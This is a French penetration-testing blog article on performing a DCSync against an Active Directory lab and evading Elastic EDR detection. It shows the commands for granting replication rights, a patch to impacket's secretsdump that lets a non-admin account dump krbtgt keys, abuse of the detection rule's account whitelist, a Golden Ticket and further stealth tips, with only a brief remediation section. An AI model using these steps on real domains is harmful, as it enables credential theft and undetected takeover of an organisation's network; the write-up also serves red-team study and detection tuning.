Introduction

Quoi de plus simple que de lancer un secretsdump après avoir obtenu des droits d’administration, pas vrai ! Mais lorsqu’il s’agit d’ĂŞtre discret, quels sont les moyens pour Ă©viter de se faire dĂ©tecter ? Notamment quand les machines sont Ă©quipĂ©es d’EDR ? C’est ce que nous allons voir aujourd’hui avec le cas d’Elastic EDR. Cet article vous permettra aussi de comprendre pourquoi Ă  ce jour, mĂŞme avec tous les droits de rĂ©plication, en utilisant un compte non-administrateur vous ne pouvez pas rĂ©aliser de DCSync depuis Linux (via secretsdump, nxc).

La configuration du domaine utilisé pour cet article est la suivante :

  • Adresse IP du contrĂ´leur de domaine : 10.158.1.10
  • Nom du domaine : openclassroom.intra
  • Nom du contrĂ´leur de domaine : srv-ad-bdx-01.openclassroom.intra
  • Utilisateur standard : jean

DCSync

Tout d’abord, qu’est-ce qu’un DCSync ? Un DCSync est le nom de la mĂ©thode qui permet de rĂ©pliquer les contrĂ´leurs de domaine au travers du protocole MS-DRSR (basĂ© sur RPC) via l’API DRSUAPI (Directory Replication Service API).

Pour réaliser cette réplication, deux choix sont possibles :

  • Avoir des droits d’administration.
  • Avoir les droits DS-Replication-Get-Changes et DS-Replication-Get-Changes-All. Ces droits doivent ĂŞtre appliquĂ©s sur le Root Naming Context (Dans notre cas : DC=OPENCLASSROOM,DC=INTRA).

Pourquoi ces deux droits spécifiquement ?

Les droits DS-Replication-Get

DS-Replication-Get-Changes

Ce droit permet de lire tous les attribues publiques et confidentiels (fCONFIDENTIAL = 0x80) . Les donnĂ©es confidentielles varient en fonction des forĂŞts. Il est possible de les lister Ă  l’aide de la commande suivante :

ldapsearch -s sub -LLL -H ldap://10.158.1.10 -D 'OPENCLASSROOM\jean' -b "CN=Schema,CN=Configuration,DC=OPENCLASSROOM,DC=INTRA" -w "Pwd2024" "(searchFlags:1.2.840.113556.1.4.803:=128)" cn | grep '^cn:'
cn: ms-TPM-Owner-Information-Temp
cn: ms-Kds-KDF-AlgorithmID
cn: ms-Kds-KDF-Param
cn: ms-Kds-SecretAgreement-AlgorithmID
cn: ms-Kds-SecretAgreement-Param
cn: ms-Kds-PublicKey-Length
cn: ms-Kds-PrivateKey-Length
cn: ms-Kds-RootKeyData
cn: ms-Kds-Version
cn: ms-Kds-DomainID
cn: ms-Kds-UseStartTime
cn: ms-Kds-CreateTime
cn: ms-FVE-RecoveryPassword
cn: ms-FVE-KeyPackage
cn: ms-TPM-OwnerInformation
cn: ms-DS-Transformation-Rules-Compiled
cn: ms-PKI-Credential-Roaming-Tokens
cn: ms-DS-Issuer-Certificates
cn: ms-PKI-RoamingTimeStamp
cn: ms-PKI-DPAPIMasterKeys
cn: ms-PKI-AccountCredentials
cn: UnixUserPassword

searchFlag & 128 == 1

DS-Replication-Get-Changes-All

Ce droit, quant Ă  lui, doit ĂŞtre combinĂ© avec DS-Replication-Get-Changes pour fonctionner. Celui-ci permet de lire les attributs de type Secrets. CombinĂ© avec DS-Replication-Get-Changes il permet de lire tous les attributs. Un utilisateur sans droits d’administration, mais ayant ces deux droits, est en capacitĂ© de rĂ©aliser un DCSync.

DS-Replication-Get-Changes-in-Filtered-Set

Ce dernier droit est spécifique aux serveurs RODC (Read Only Domain Controller). Il permet de lire tous les attributs, car il a les mêmes spécificités que le -All. Cependant, il ne peut être exécuté que vers des serveurs RODC. fRODCFilteredAttribute (0x200).

ldapsearch -s sub -LLL -H ldap://10.158.1.10 -D 'OPENCLASSROOM\jean' -b "CN=Schema,CN=Configuration,DC=OPENCLASSROOM,DC=INTRA" -w "Pwd2024" "(searchFlags:1.2.840.113556.1.4.803:=512)" cn | grep '^cn:'
cn: ms-TPM-Owner-Information-Temp
cn: ms-Kds-KDF-AlgorithmID
cn: ms-Kds-KDF-Param
cn: ms-Kds-SecretAgreement-AlgorithmID
cn: ms-Kds-SecretAgreement-Param
cn: ms-Kds-PublicKey-Length
cn: ms-Kds-PrivateKey-Length
cn: ms-Kds-RootKeyData
cn: ms-Kds-Version
cn: ms-Kds-DomainID
cn: ms-Kds-UseStartTime
cn: ms-Kds-CreateTime
cn: ms-FVE-RecoveryPassword
cn: ms-FVE-KeyPackage
cn: ms-TPM-OwnerInformation
cn: ms-PKI-RoamingTimeStamp
cn: ms-PKI-DPAPIMasterKeys
cn: ms-PKI-AccountCredentials

Bitmask

Comment connaĂ®tre le type d’un attribut ?

Comme vu prĂ©cĂ©demment, il suffit de requĂŞter le container Schema depuis le Naming Context Configuration (Dans notre cas : CN=Schema,CN=Configuration,DC=openclassroom,DC=intra) et de regarder la propriĂ©tĂ© searchFlags de l’attribut que nous voulons rĂ©cupĂ©rer. Il faut bien Ă©videmment appliquer le bitmask afin de s’assurer du type de la propriĂ©tĂ©.

Le protocole

Une rĂ©plication simple, nĂ©cessite 4 Ă©tapes afin de pouvoir rĂ©cupĂ©rer les secrets d’un utilisateur. https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/58f33216-d9f1-43bf-a183-87e3c899c410

IDL_DRSBind

Dans un premier temps, un contexte handle va ĂŞtre crĂ©Ă© dans le but d’appeler les autres mĂ©thodes de l’API en s’aidant de ce handle. https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/605b1ea1-9cdc-428f-ab7a-70120e020a3d

IDL_DRSDomainControllerInfo

Dans un second temps, cette mĂ©thode est appelĂ©e pour rĂ©cupĂ©rer des informations Ă  propos du contrĂ´leur de domaine. C’est cette mĂ©thode qui permet de rĂ©cupĂ©rer la valeur de NtdsDsaObjectGuid. Cette valeur, qui est un GUID, reprĂ©sente l’identifiant du contrĂ´leur de domaine. Cet identifiant va ĂŞtre utile pour la dernière Ă©tape. https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/668abdc8-1db7-4104-9dea-feab05ff1736

IDL_DRSCrackNames

Cette mĂ©thode, va permettre la conversion des objets passĂ©s en argument au format attendu. On indique dans un premier argument le format de l’objet envoyĂ© DS_NT4_ACCOUNT_NAME_SANS_DOMAIN qui correspond aux sAMAccountName que nous passons dans un autre argument et enfin, nous indiquons dans un dernier argument le format de retour DS_UNIQUE_ID_NAME qui correspond Ă  l’ID unique de notre objet dans le domaine. C’est cet ID unique que nous allons envoyer dans la dernière Ă©tape et qui permet au contrĂ´leur de domaine de connaĂ®tre exactement l’utilisateur pour lequel nous voulons rĂ©cupĂ©rer les secrets. https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/9b4bfb44-6656-4404-bcc8-dc88111658b3

IDL_DRSGetNCChanges

Enfin, la dernière Ă©tape s’aide des valeurs retournĂ©es prĂ©cĂ©demment afin de rĂ©pliquer les mises Ă  jour. C’est grâce Ă  cette mĂ©thode qu’il est ensuite possible de dĂ©chiffrer les secrets d’authentification (hash NT, LM, AES). https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/b63730ac-614c-431c-9501-28d6aca91894

Ajout des droits

Maintenant que nous connaissons son fonctionnement, essayons de récupérer les identifiants de connexion des utilisateurs du domaine avec les droits nécessaires.

Dans un premier temps, Ă  l’aide de dacledit nous allons pouvoir nous ajouter les droits pour DCSync.

$ dacledit.py -action write -rights DCSync -principal 'Aether$' -target-dn 'DC=OPENCLASSROOM,DC=INTRA' OPENCLASSROOM.INTRA/Administrateur:Pwd2024

[*] DACL modified successfully!
$ dacledit.py -action read -rights DCSync -principal 'Aether$' -target-dn 'DC=OPENCLASSROOM,DC=INTRA' OPENCLASSROOM.INTRA/Administrateur:Pwd2024 

[*] Parsing DACL
[*] Printing parsed DACL
[*] Filtering results for SID (S-1-5-21-661337599-3318911144-136581056-1138)
[*]   ACE[12] info                
[*]     ACE Type                  : ACCESS_ALLOWED_OBJECT_ACE
[*]     ACE flags                 : None
[*]     Access mask               : ControlAccess
[*]     Flags                     : ACE_OBJECT_TYPE_PRESENT
[*]     Object type (GUID)        : DS-Replication-Get-Changes (1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
[*]     Trustee (SID)             : Aether$ (S-1-5-21-661337599-3318911144-136581056-1138)
[*]   ACE[16] info                
[*]     ACE Type                  : ACCESS_ALLOWED_OBJECT_ACE
[*]     ACE flags                 : None
[*]     Access mask               : ControlAccess
[*]     Flags                     : ACE_OBJECT_TYPE_PRESENT
[*]     Object type (GUID)        : DS-Replication-Get-Changes-All (1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
[*]     Trustee (SID)             : Aether$ (S-1-5-21-661337599-3318911144-136581056-1138)

Dump des secrets

Nous pouvons maintenant réaliser un dump !

$ secretsdump.py -debug -just-dc-user krbtgt OPENCLASSROOM.INTRA/'Aether$':Pentest33@SRV-AD-BDX-01.OPENCLASSROOM.INTRA

[+] Impacket Library Installation Path: /root/.local/share/pipx/venvs/impacket/lib/python3.11/site-packages/impacket
[+] Exiting NTDSHashes.dump() because rpc_s_access_denied
[*] Cleaning up... 

$ nxc smb srv-ad-bdx-01.openclassroom.intra -u 'Aether$' -p 'Pentest33' --ntds --user krbtgt
SMB         10.158.1.10     445    SRV-AD-BDX-01    [*] Windows 10 / Server 2016 Build 14393 x64 (name:SRV-AD-BDX-01) (domain:openclassroom.intra) (signing:True) (SMBv1:False)
SMB         10.158.1.10     445    SRV-AD-BDX-01    [+] openclassroom.intra\Aether$:Pentest33 
SMB         10.158.1.10     445    SRV-AD-BDX-01    [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
SMB         10.158.1.10     445    SRV-AD-BDX-01    [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         10.158.1.10     445    SRV-AD-BDX-01    [+] Dumped 0 NTDS hashes to /root/.nxc/logs/SRV-AD-BDX-01_10.158.1.10_2024-12-08_172246.ntds of which 0 were added to the database

Pourquoi avons nous une erreur malgrĂ© les droits nĂ©cessaires ? Pour le cas de secretsdump, lors du dump, une connexion RPC vers l’API SAMR est rĂ©alisĂ©e afin de s’assurer que la machine avec laquelle on communique est un contrĂ´leur de domaine. Ligne de code rĂ©alisant cet appel : https://github.com/fortra/impacket/blob/835e17550b57606ee3c681ae1c3f0edea096ec19/impacket/examples/secretsdump.py#L2584

C’est problĂ©matique, car depuis la version Windows 10 1607 et Windows Server 2016, il est obligatoire de faire partie du groupe d’administration locale pour communiquer avec l’API SAMR. https://blog.compass-security.com/2022/05/bloodhound-inner-workings-part-1/ chapitre What privileges are required?

La mĂŞme contrainte s’applique Ă  NetExec car l’outil utilise aussi les fonctions d’impacket.

Pour contourner cela, on peut modifier la ligne suivante dans le code de secretsdump.py :

<             self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])
---
>             pass
>             #self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])

Après application du diff sur le fichier secretsdump.py, on constate que les outils fonctionnent :

$ secretsdump.py -debug -just-dc-user krbtgt OPENCLASSROOM.INTRA/'Aether$':Pentest33@SRV-AD-BDX-01.OPENCLASSROOM.INTRA

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[+] Calling DRSCrackNames for krbtgt 
[+] Calling DRSGetNCChanges for {70db6bad-6e86-431b-a88e-59b13323ac55} 
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:360229307d4f7fca49d2e9f4a043d78c506fcb321c9e86076b6bcf9e439d4fa2
krbtgt:aes128-cts-hmac-sha1-96:6110d01fa401efaf584c478c1fd7a874
krbtgt:des-cbc-md5:5170b9ef58bafeec

$ nxc smb srv-ad-bdx-01.openclassroom.intra -u 'Aether$' -p 'Pentest33' --ntds --user krbtgt
SMB         10.158.1.10     445    SRV-AD-BDX-01    [*] Windows 10 / Server 2016 Build 14393 x64 (name:SRV-AD-BDX-01) (domain:openclassroom.intra) (signing:True) (SMBv1:False)
SMB         10.158.1.10     445    SRV-AD-BDX-01    [+] openclassroom.intra\Aether$:Pentest33 
SMB         10.158.1.10     445    SRV-AD-BDX-01    [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
SMB         10.158.1.10     445    SRV-AD-BDX-01    [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         10.158.1.10     445    SRV-AD-BDX-01    krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4711260a99d63bd6241d8ce25ed73681:::
SMB         10.158.1.10     445    SRV-AD-BDX-01    [+] Dumped 1 NTDS hashes to /root/.nxc/logs/SRV-AD-BDX-01_10.158.1.10_2024-12-08_175057.ntds of which 1 were added to the database

Avantages

L’avantage principal de rĂ©aliser un DCSync est que cette technique ne vient pas dumper le fichier NTDS.DIT sur la machine comme pourrait le faire secretsdump ou NetExec sans qu’on leur spĂ©cifie un utilisateur Ă  dump. Cela permet d’Ă©viter la dĂ©tection lors de l’Ă©criture du fichier sur le système.

Avec cette piste, voyons maintenant comment ne pas être détecté.

Environnement

Tout d’abord, nous allons commencer par l’environnement pour tester nos attaques. Pour cela, il existe quelques procĂ©dures documentĂ©es :

Je rajouterai qu’avant l’installation de l’agent, il convient de s’assurer que les diffĂ©rentes URL prĂ©sentes dans Management > Fleet > Fleet Settings soient correctement configurĂ©es (Fleet, Output).

De plus, lors de l’installation de l’agent, il ne faut pas oublier d’ajouter l’argument --insecure afin de contourner le certificat self-signed.

Si jamais vous avez besoin de debugger, vous pouvez utiliser la commande suivante :

.\elastic-agent.exe run -c elastic-agent.yml -v -e

Ensuite, une fois votre agent fonctionnel, vous devriez voir les alertes remontées depuis Security > Alerts. https://www.elastic.co/guide/en/security/current/detection-engine-overview.html

Attention, ce lab demande beaucoup de ressource. Je recommande au minimum 2 CPU pour la machine contenant les docker liés à Elastic EDR.

DĂ©tection

Notre environnement setup, nous allons pouvoir tester notre détection. Essayons de réaliser un secretsdump avec un compte administrateur du domaine.

secretsdump.py openclassroom.intra/Administrateur:Pwd2024@srv-ad-bdx-01.openclassroom.intra

Elastic EDR Alerts

94 alertes remontées ! Toutes les alertes correspondent à la règle Potential Access via DCSync. Avec ça, vous êtes sûr que votre client va recevoir un appel du SOC !

A ce stade, nous savons au moins que notre environnement fonctionne. Essayons maintenant de réduire ces alertes.

Stealth

just-dc-user

Comme indiquĂ© prĂ©cĂ©demment, l’option --just-dc-user, permet de rĂ©aliser un DCSync uniquement sur l’utilisateur spĂ©cifiĂ© via RPC sans Ă©crire sur le disque.

Nous pourrions donc rĂ©cupĂ©rer seulement les secrets d’authentification du compte krbtgt afin de pouvoir crĂ©er par la suite des Golden Tickets. https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/golden

SecretsDump CMD

Elastic EDR Alerts

Cette fois-ci, il y a du mieux, nous passons à 3 alertes toujours détecté par la règle Potential Credential Access via DCSync en récupérant uniquement cet utilisateur. Nous pourrions alors imaginer un scénario où ces alertes seraient noyées dans la masse et passeraient à la trappe !

Mais, cela reste tout de même 3 alertes de trop. Voyons les choses plus intelligemment maintenant et analysons la configuration de détection de cette règle.

Rule - Portential Credentials Access via DCSync

Voici la règle de détection en question :

Elastic EDR Rule https://www.elastic.co/guide/en/security/current/potential-credential-access-via-dcsync.html

Son fonctionnement est très simple, il vĂ©rifie si l’event 4662 est remontĂ©, si c’est le cas, parmi les propriĂ©tĂ©s, il vĂ©rifie l’accès utilisĂ© ainsi que le GUID associĂ©. Si l’action sur un objet de l’AD est une rĂ©plication, alors il vĂ©rifie que l’AccessMask vaut 0x100 qui correspond Ă  un accès autorisĂ© suite Ă  la vĂ©rification du droit Ă©tendu sur l’objet. Enfin, il vĂ©rifie que le nom de l’utilisateur n’est pas dans une whitelist. https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4662

La partie encadrĂ©e en rouge vous a surement sautĂ© aux yeux, la règle trigger uniquement si le compte n’est pas dans une whitelist avec des wildcards. Dans un environnement sur lequel les diffĂ©rents comptes de synchronisation existent aadsync, … On pourrait alors s’imaginer crĂ©er un compte machine en abusant de l’attribut ms-DS-MachineAccountQuota ou alors de crĂ©er un utilisateur commencent par MSOL_.

Saint Graal

Pour les besoins de mes tests et la comprĂ©hension du protocole, j’ai passĂ© un moment Ă  regarder le fonctionnement de secretsdump. J’ai donc implĂ©mentĂ© avec impacket un outil qui permet de rĂ©aliser un DCSync via RPC. Son avantage, il peut dumper tous les objets du domaine sans se soucier d’Ă©crire de fichier NTDS.DIT :

DCSync Computer https://github.com/AetherBlack/DCSync/

J’ai longuement rĂ©flĂ©chi Ă  rĂ©aliser une PR sur impacket afin d’Ă©viter un outil supplĂ©mentaire, mais au vu des dĂ©lais d’acceptation des PR, j’ai prĂ©fĂ©rĂ© crĂ©er mon outil afin que des personnes puissent en bĂ©nĂ©ficier sans avoir Ă  merge elles-mĂŞmes ma PR sur leur version d’impacket. Je vous laisse, vous lecteurs, le libre champ pour rĂ©aliser cette PR si vous en jugez bon.

L’outil est lourdement basĂ© sur le gros travail dĂ©jĂ  rĂ©alisĂ© sur impacket. Si vous souhaitez l’implĂ©menter de votre cĂ´tĂ©, je vous conseille d’utiliser les fonctions de la librairie impacket. Dans le cas oĂą vous souhaitez vraiment tout comprendre, alors regarder la code base de mimikatz sera sans doute votre meilleur option.

Nous pouvons de nouveau vérifier les alertes de sécurité en rafraichissant la page.

Bypass Work

Notre attaque est cette fois bien passĂ©e inaperçue et aucune notification n’a Ă©tĂ© reçue !

Golden Ticket

Nous pouvons maintenant crĂ©er notre Golden Ticket et s’authentifier Ă  la cible avec un utilisateur arbitraire.

Golden Ticket

Après cette attaque, aucune nouvelle alerte n’est remontĂ©e, alors que notre ticket n’a pas une date conventionnelle (24h au lieu de 10h).

Elastic EDR Alerts

Pour aller plus loin

Fake DC

Pour rendre cette attaque encore plus discrète aux yeux des EDR / XDR, il pourrait ĂŞtre intĂ©ressant de reflĂ©ter les valeurs prĂ©sentes dans la propriĂ©tĂ© userAccountControl d’un contrĂ´leur de domaine sur notre ordinateur (Aether$) notamment via SERVER_TRUST_ACCOUNT. https://learn.microsoft.com/en-us/troubleshoot/windows-server/active-directory/useraccountcontrol-manipulate-account-properties#useraccountcontrol-values

ticketer

Par dĂ©faut, les tickets Kerberos ont une durĂ©e de vie de 10h. Il peut ĂŞtre intĂ©ressant lors de la crĂ©ation du Golden Ticket de rajouter l’option -duration 10 pour Ă©viter de dĂ©tecter le ticket.

Remédiation

Afin de se protĂ©ger de ce type d’attaque, il conviendrait de modifier la règle d’Elastic EDR, notamment en filtrant les noms des contrĂ´leurs de domaine. De plus, il est important de supprimer les comptes de cette liste n’existant pas dans le domaine.

Un autre gros point serait de remonter une alerte lorsque la demande de DCSync intervient en dehors du sous-rĂ©seau des serveurs ou mieux, en dehors d’une liste blanche qui contient les contrĂ´leurs de domaine.

Bonus

L’outil dĂ©veloppĂ© pour cet article bypass Bitdefender MDR, Elastic EDR et Microsoft Defender par dĂ©faut.

Remerciements

Merci Ă  @RayanLeCat et @Hyouka pour la relecture de cet article.